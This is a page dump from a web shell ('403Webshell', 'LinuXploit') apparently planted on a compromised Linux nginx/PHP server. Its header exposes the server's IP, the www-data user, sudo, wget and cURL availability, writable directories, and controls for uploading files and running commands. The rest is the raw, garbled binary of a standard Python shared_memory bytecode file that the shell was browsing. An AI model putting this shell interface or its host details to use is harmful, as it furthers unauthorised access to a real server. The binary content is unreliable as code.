403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3.14/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.14/multiprocessing/__pycache__/shared_memory.cpython-314.pyc
+
��3j�I�� �RtRR.t^RIHt^RIt^RIt^RIt^RIt^RIt^RI	t	]PR8Xd^RItRtM^RI
t
Rt^RIHt]P ]P",t^t]'dR	tMR
tRt!RR4tR
t!RR4tR#)z�Provides shared memory for direct access across processes.

The API of this package is currently provisional. Refer to the
documentation for details.
�SharedMemory�
ShareableList)�partialN�ntFT)�resource_trackerz/psm_�wnsm_c���\\\4,
^,pV^8�gQR4h\\P!V4,p\V4\8:gQhV#)z6Create a random filename for the shared memory object.z_SHM_NAME_PREFIX too long)�_SHM_SAFE_NAME_LENGTH�len�_SHM_NAME_PREFIX�secrets�	token_hex)�nbytes�names  �4/usr/lib/python3.14/multiprocessing/shared_memory.py�_make_filenamer(sX��$�c�*:�&;�;��
A�F��Q�;�3�3�3�;��g�/�/��7�7�D��t�9�-�-�-�-��K�c��a�]tRt^2toRtRtRtRtRt]	PtRt]
'dRMRtRtRRR/RlltRtR	tR
t]R4t]R4t]R
4tRtRtRtVtR#)ra�Creates a new shared memory block or attaches to an existing
shared memory block.

Every shared memory block is assigned a unique name.  This enables
one process to create a shared memory block with a particular name
so that a different process can attach to that same shared memory
block using that same name.

As a resource for sharing data across processes, shared memory blocks
may outlive the original process that created them.  When one process
no longer needs access to a shared memory block that might still be
needed by other processes, the close() method should be called.
When a shared memory block is no longer needed by any process, the
unlink() method should be called to ensure proper cleanup.Ni�TF�trackc�	�V^8�g\R4hV'd3\\P,VnV^8Xd\R4hVf3VP\P
,'g\R4hW@n\'EdXVfF\4p\P!VVPVPR7VnYnMUVP'd
RV,MTp\P!VVPVPR7VnWnV'd*V'd"\P !VPV4\P"!VP4pVP$p\&P&!VPV4VnTP'd"\.P0!TPR4EM�V'Ed:Vf\4MTp\2P4!\2P6\2P8\2P:V^ ,	R,VR,V4p\2P<!4pV\2P>8XdjVeM\\@PB\PD!\@PB4V\2P>4h\2PF!V4K�\&P&!RW6R	7Vn\2PF!V4W`nM�Wn\2PH!\2PJR
V4p\2PL!V\2PJ^^^4p	\2PF!V4\2PN!V	4p\2PP!V	4\&P&!RW1R	7VnW0n)\UVP(4Vn+R# \dEK{i;i \*dTP-4hi;i \2PF!T4i;i \2PF!T4i;i \2PP!T	4i;i)�z!'size' must be a positive integerz4'size' must be a positive number different from zeroNz&'name' can only be None if create=True)�mode�/�
shared_memoryl��)�tagnameF���),�
ValueError�_O_CREX�os�O_RDWR�_flags�O_EXCL�_track�
_USE_POSIXr�_posixshmem�shm_open�_mode�_fd�FileExistsError�_name�_prepend_leading_slash�	ftruncate�fstat�st_size�mmap�_mmap�OSError�unlinkr�register�_winapi�CreateFileMapping�INVALID_HANDLE_VALUE�NULL�PAGE_READWRITE�GetLastError�ERROR_ALREADY_EXISTS�errno�EEXIST�strerror�CloseHandle�OpenFileMapping�
FILE_MAP_READ�
MapViewOfFile�VirtualQuerySize�UnmapViewOfFile�_size�
memoryview�_buf)
�selfr�create�sizer�stats�	temp_name�h_map�last_error_code�p_bufs
&&&&$     r�__init__�SharedMemory.__init__LsZ���q�y��@�A�A��!�B�I�I�-�D�K��q�y� �!W�X�X��<����b�i�i� 7� 7��E�F�F����:��|��)�+�D�!�#.�#7�#7� � �K�K�!%���$���"&�J��%)�%@�%@�%@�s�T�z�d��&�/�/���K�K�������
"�
�
��d��L�L����4�0�������*���}�}��!�Y�Y�t�x�x��6��
��{�{�{� �)�)�$�*�*�o�F���v��48�L�� 0�d�I�$�5�5��4�4�����.�.����z�1��z�)�!�
�E�3�*1�*>�*>�*@��*�g�.J�.J�J�#�/�&5�$)�L�L�$&�K�K����$=�$(�$+�$@�$@�	'"�!"�!)� �+�+�E�2�&*�Y�Y�r�4�%K��
��+�+�E�2�!*�J��"�
� �/�/��)�)�����
	/�#�1�1���-�-�����E��'�'��.�3�"�3�3�E�:�D��+�+�E�2�!�Y�Y�r�4�>��
��
��t�z�z�*��	��k+�!� �!��$�
����
��
��J �+�+�E�2��,�'�'��.���+�+�E�2�sV�&2P�5P�=P�A3P�"A:P9�5P9�(Q�Q/�P�P�P6�9Q�Q,�/Rc�L�VP4R# \dR#i;i�N)�closer0�rFs&r�__del__�SharedMemory.__del__�s"��	��J�J�L���	��	�s��#�#c�L�VPVPRVP33#)F)�	__class__rrHrSs&r�
__reduce__�SharedMemory.__reduce__�s)���N�N��	�	���	�	�
�
�	
rc�j�VPPRVP:RVPR2#)�(z, size=�))rW�__name__rrHrSs&r�__repr__�SharedMemory.__repr__�s.���.�.�)�)�*�!�D�I�I�=���	�	�{�!�L�Lrc��VP#)z4A memoryview of contents of the shared memory block.)rErSs&r�buf�SharedMemory.buf�s���y�y�rc���VPp\'dGVP'd5VPPR4'dVPR,pV#)z4Unique name that identifies the shared memory block.r:�NN)r)r#r*�
startswith)rF�
reported_names& rr�SharedMemory.name�sE���
�
�
��:�$�5�5�5��z�z�$�$�S�)�)� $�
�
�2��
��rc��VP#)zSize in bytes.)rCrSs&rrH�SharedMemory.size�s���z�z�rc�R�VPe"VPP4RVnVPe"VPP4RVn\'d=VP
^8�d*\P!VP
4RVnR#R#R#)zcCloses access to the shared memory from this instance but does
not destroy the shared memory block.Nr)rE�releaser/rRr#r'rrSs&rrR�SharedMemory.close�ss���9�9� ��I�I�����D�I��:�:�!��J�J�����D�J��:�$�(�(�a�-��H�H�T�X�X���D�H�(�:rc���\'dlVP'dX\P!VP4VP'd$\
P!VPR4R#R#R#R#)a�Requests that the underlying shared memory block be destroyed.

Unlink should be called once (and only once) across all handles
which have access to the shared memory block, even if these
handles belong to different processes. Closing and unlinking may
happen in any order, but trying to access data inside a shared
memory block after unlinking may result in memory errors,
depending on platform.

This method has no effect on Windows, where the only way to
delete a shared memory block is to close all handles.rN)r#r)r$�
shm_unlinkr"r�
unregisterrSs&rr1�SharedMemory.unlink�sL���:�$�*�*�*��"�"�4�:�:�.��{�{�{� �+�+�D�J�J��H��%�:r)rEr'r r/r)rCr"r)NFr)r]�
__module__�__qualname__�__firstlineno__�__doc__r)r'r/rErrr r&r#r*r"rNrTrXr^�propertyrarrHrRr1�__static_attributes__�__classdictcell__��
__classdict__s@rrr2s�����
B� 
�E�
�C��E��D�
�Y�Y�F��E�%/�T�U��
�F�m+��m+�^�
�M��������������I�Ir�utf8c�fa�]tRtRtoRt]R]R]R]R]	RRPR/t^t^R	^R
^R^R/t
]R
4tR"RR/RlltRtRtRtRtRtRtRtRt]R4t]R4t]R4t]R4t]R4t]R4t]R4t Rt!R t"]#!]$PJ4t&R!t'Vt(R#)#riaqPattern for a mutable list-like object shareable via a shared
memory block.  It differs from the built-in list type in that these
lists can not change their overall length (i.e. no append, insert,
etc.)

Because values are packed into a memoryview as bytes, the struct
packing format for any storable value must require no more than 8
characters to describe its format.�q�dzxxxxxxx?z%dsNzxxxxxx?xc��V#rQ���values&r�<lambda>�ShareableList.<lambda> s��rc�J�VPR4P\4#��)�rstrip�decode�	_encodingr�s&rr�r�!s�����g�.�5�5�i�@rc�$�VPR4#r�)r�r�s&rr�r�"s
�����g�.rc��R#rQr)�_values&rr�r�#s��$rc��\V\\RP34'g^#\V\4'd^#\V\4'd^#^#)z�Used in concert with _back_transforms_mapping to convert values
into the appropriate Python objects when retrieving them from
the list as well as when storing them.N)�
isinstance�str�bytesrWr�s&r�_extract_recreation_code�&ShareableList._extract_recreation_code&sB��
�%�#�u�d�n�n�!=�>�>��
��s�
#�
#��
��u�
%�
%��rrc�
a	�VeVEe�T;'gR	pVUu.uF�p\V\\34'gVP\	V4,MUVP\	V4,VP
\
V4VP
,^,,3,NK�	pp\
V4Vn\RV44VP8XgQh^p^.Vn	VFLpYVR
,R8wd
VP
M
\VRR
4,
pVPPV4KN	VUu.uFq0PV4NK	pp\P!RVP,RP!V4,VP",VP$,4p\'VRVR7VnM\'V4VnVEe<\*o	\P,!RVP,VP(P.^VP.VPO5!\P,!RP!X4VP(P.VP0.V	3RlV4O5!\P,!VP"VP(P.VP2.V	3RlV4O5!\P,!VP$VP(P.VP4.XO5!R#\
V4Vn\7\P8!VPVP(P.^44Vn	R#uupiuupi)Nc3�>"�TFp\V4^8*x�K	R#5i)�N)r
)�.0�fmts& r�	<genexpr>�)ShareableList.__init__.<locals>.<genexpr>@s���9���s�3�x�1�}��s��sr|�T)rGrHc3�v<"�TF.p\V\4'dVPS4MTx�K0	R#5irQ)r�r��encode�r��v�_encs& �rr�r�ds*����P�x�!�J�q�#�$6�$6�!�(�(�4�.�A�=�x�s�69c3�D<"�TFqPS4x�K	R#5irQ)r�r�s& �rr�r�js����3�(�Q�(�(�4�.�.�(�s� rr)r�r�r��_types_mapping�type�
_alignmentr
�	_list_len�sum�_allocated_offsets�int�appendr��struct�calcsize�_format_size_metainfo�join�_format_packing_metainfo�_format_back_transform_codesr�shmr��	pack_intora�_offset_data_start�_offset_packing_formats�_offset_back_transform_codes�list�unpack_from)
rF�sequencer�item�_formats�offsetr��_recreation_codes�requested_sizer�s
&&$      @rrN�ShareableList.__init__4s�����<�8�/��~�~�2�H�%�
�%�D�	&�d�S�%�L�9�9��#�#�D��J�/��,�,�T�$�Z�8����3�t�9����+G�!�+K�L�<���
%�

��!��]�D�N��9��9�9�T�^�^�K�K�K��F�()�c�D�#�����W��^�$�/�/��S��"�X��N���'�'�.�.�v�6� �AI�!�@H��-�-�d�3��
�!�$�_�_��d�0�0�0�����!�"��-�-�.��1�1�2��N�$�D��N�K�D�H�#�D�)�D�H����D�����d�0�0�0����������	
�
�)�)�
�
�������!�������'�'�
�Q�x�P�	
�
����-�-�������,�,�
�4�(�3�	
�
����1�1�������1�1�
�$�	
�!��Y�D�N�&*��"�"��.�.��H�H�L�L���'�D�#��}��$!s�BM;�Nc�v�V^8�dTMWP,pWP8�gVP^8d\R4h\P!RVPP
VPV^,,4^,pVPR4pVP\4pV#)z>Gets the packing format for a single value stored in the list.� Requested position out of range.�8sr�)
r��
IndexErrorr�r�r�rar�r�r�r�)rF�positionr�r��
fmt_as_strs&&   r�_get_packing_format�!ShareableList._get_packing_format}s���'�1�}�8�(�^�^�2K�����&�D�N�N�Q�,>��?�@�@������H�H�L�L��(�(�8�a�<�7�
��	

��
�h�h�w����Z�Z�	�*�
��rc��WP8�gVP^8d\R4h\P!RVPP
VPV,4^,pVPV,pV#)z9Gets the back transformation function for a single value.r��b)r�r�r�r�r�rar��_back_transforms_mapping)rFr��transform_code�transform_functions&&  r�_get_back_transform�!ShareableList._get_back_transform�st��
���&�D�N�N�Q�,>��?�@�@��+�+���H�H�L�L��-�-��8�
��	
��
"�:�:�>�J��!�!rc��WP8�gVP^8d\R4h\P!RVPP
VPV^,,VP\44VPV4p\P!RVPP
VPV,V4R#)znSets the packing format and back transformation code for a
single value in the list at the specified position.r�r�r�N)r�r�r�r�r�rar�r�r�r�r�)rFr�r�r�r�s&&&& r�!_set_packing_format_and_transform�/ShareableList._set_packing_format_and_transform�s���
���&�D�N�N�Q�,>��?�@�@������H�H�L�L��(�(�8�a�<�7����i�(�		
��6�6�u�=�������H�H�L�L��-�-��8��		
rc�f�V^8�dTMWP,pVPVPV,,p\P!VPV4VPPV4wpTPT4pT!T4pT# \d
\R4hi;i)rzindex out of range)
r�r�r�r�r�r�r�rar�r�)rFr�r�r��back_transforms&&   r�__getitem__�ShareableList.__getitem__�s���'�1�}�8�(�^�^�2K��	3��,�,�t�/F�/F�x�/P�P�F��%�%��(�(��2��������D�Q��1�1�(�;���1������
�	3��1�2�2�	3�s�A!B�B0c��V^8�dTMWP,pVPV,pVPV,pVPV4p\T\\34'g TP\T4,pTpM�TPT^,,T,
p\T\4'dTP\4MTp\T4T8�d\R4hTR,R8XdTpMTP\,T3,pTPTTT4\P !Y`P"P$YG4R# \d
\	R4hi;i)rzassignment index out of rangez(bytes/str item exceeds available storager�Nr)r�r�r�r�r�r�r�r�r�r�r�r�r
rr�r�r�r�ra)	rFr�r��item_offsetr��current_format�
new_format�
encoded_value�allocated_lengths	&&&      r�__setitem__�ShareableList.__setitem__�sO��'�1�}�8�(�^�^�2K��	>��1�1�(�;�K��,�,�{�:�F�!�5�5�h�?�N��%�#�u��.�.��,�,�T�%�[�9�J�!�M�#�6�6�x�!�|�D�{�R��!+�5�#� 6� 6�#�\�\�)�4�<A�
��=�!�$4�4� �!K�L�L��b�!�S�(�+�
�!�0�0��5�$�9��
�	
�.�.����	
�
	����X�X�\�\�6�I��3�	>��<�=�=�	>�s�7E(�(E?c�\�\VPVPPR7R3#))rr)rrWr�rrSs&rrX�ShareableList.__reduce__�s ���t�~�~�D�H�H�M�M�:�B�>�>rc�h�\P!RVPP^4^,#)r|)r�r�r�rarSs&r�__len__�ShareableList.__len__�s$���!�!�#�t�x�x�|�|�Q�7��:�:rc�|�VPPR\V4RVPP:R2#)r[z, name=r\)rWr]r�r�rrSs&rr^�ShareableList.__repr__�s3���.�.�)�)�*�!�D��J�<�w�t�x�x�}�}�>O�q�Q�Qrc�`a�RPV3Rl\SP444#)z=The struct packing format used by all currently stored items.r�c3�F<"�TFpSPV4x�K	R#5irQ)r�)r��irFs& �rr��'ShareableList.format.<locals>.<genexpr>�s#����
�1F�A�D�$�$�Q�'�'�1F�s�!)r��ranger�rSsfr�format�ShareableList.format�s,����w�w�
�16�t�~�~�1F�
�
�	
rc�6�RVP^,,#)z>The struct packing format used for the items' storage offsets.r|�r�rSs&rr��#ShareableList._format_size_metainfo�s���d�n�n�q�(�)�)rc�(�RVP,#)z>The struct packing format used for the items' packing formats.r�r�rSs&rr��&ShareableList._format_packing_metainfo�s���d�n�n�$�$rc�(�RVP,#)z>The struct packing format used for the items' back transforms.r�r�rSs&rr��*ShareableList._format_back_transform_codes�s���T�^�^�#�#rc�6�VP^,^,#)�r�rSs&rr�� ShareableList._offset_data_starts������"�a�'�'rc�J�VPVPR,,#)rdr)r�r�rSs&rr��%ShareableList._offset_packing_formats	s���&�&��)@�)@��)D�D�Drc�J�VPVP^,,#)r�)r�r�rSs&rr��*ShareableList._offset_back_transform_codes
s���+�+�d�n�n�q�.@�@�@rc�.a�\V3RlV44#)zCL.count(value) -> integer -- return number of occurrences of value.c3�.<"�TF
pSV8Hx�K	R#5irQr)r��entryr�s& �rr��&ShareableList.count.<locals>.<genexpr>s����4�t�e�5�E�>�t�s�)r�)rFr�s&fr�count�ShareableList.counts����4�t�4�4�4rc�T�\V4Fwr#W8XgK
Vu#	\R4h)zhL.index(value) -> integer -- return first index of value.
Raises ValueError if the value is not present.z%ShareableList.index(x): x not in list)�	enumerater)rFr�r�r�s&&  r�index�ShareableList.indexs,�� )���O�H��~��� /��D�E�Er)r�r�r�rQ))r]rqrrrsrtr��float�boolr�r�rWr�r�r��staticmethodr�rNr�r�r�r�r�rXr�r^rur�r�r�r�r�r�r�r�r�classmethod�types�GenericAlias�__class_getitem__rvrwrxs@rrrsX����*�&	�S�
�s��j��U�
�u����
�
�N��J�	��	�@�	�.�	��	 ������G�d�G�R� 
"�
�,�"J�B?�;�R��
��
��*��*��%��%��$��$��(��(�
�E��E��A��A�5�
F�$�E�$6�$6�7�r)rt�__all__�	functoolsrr.rr:r�rrrr3r#r$r�r�O_CREATr!rr	rrrr�rrrr�<module>rs����
�O�
-����	��
����7�7�d�?���J���J��
�*�*�r�y�y�
 ����������LI�LI�^
�	�]8�]8r

Youez - 2016 - github.com/yon3zu
LinuXploit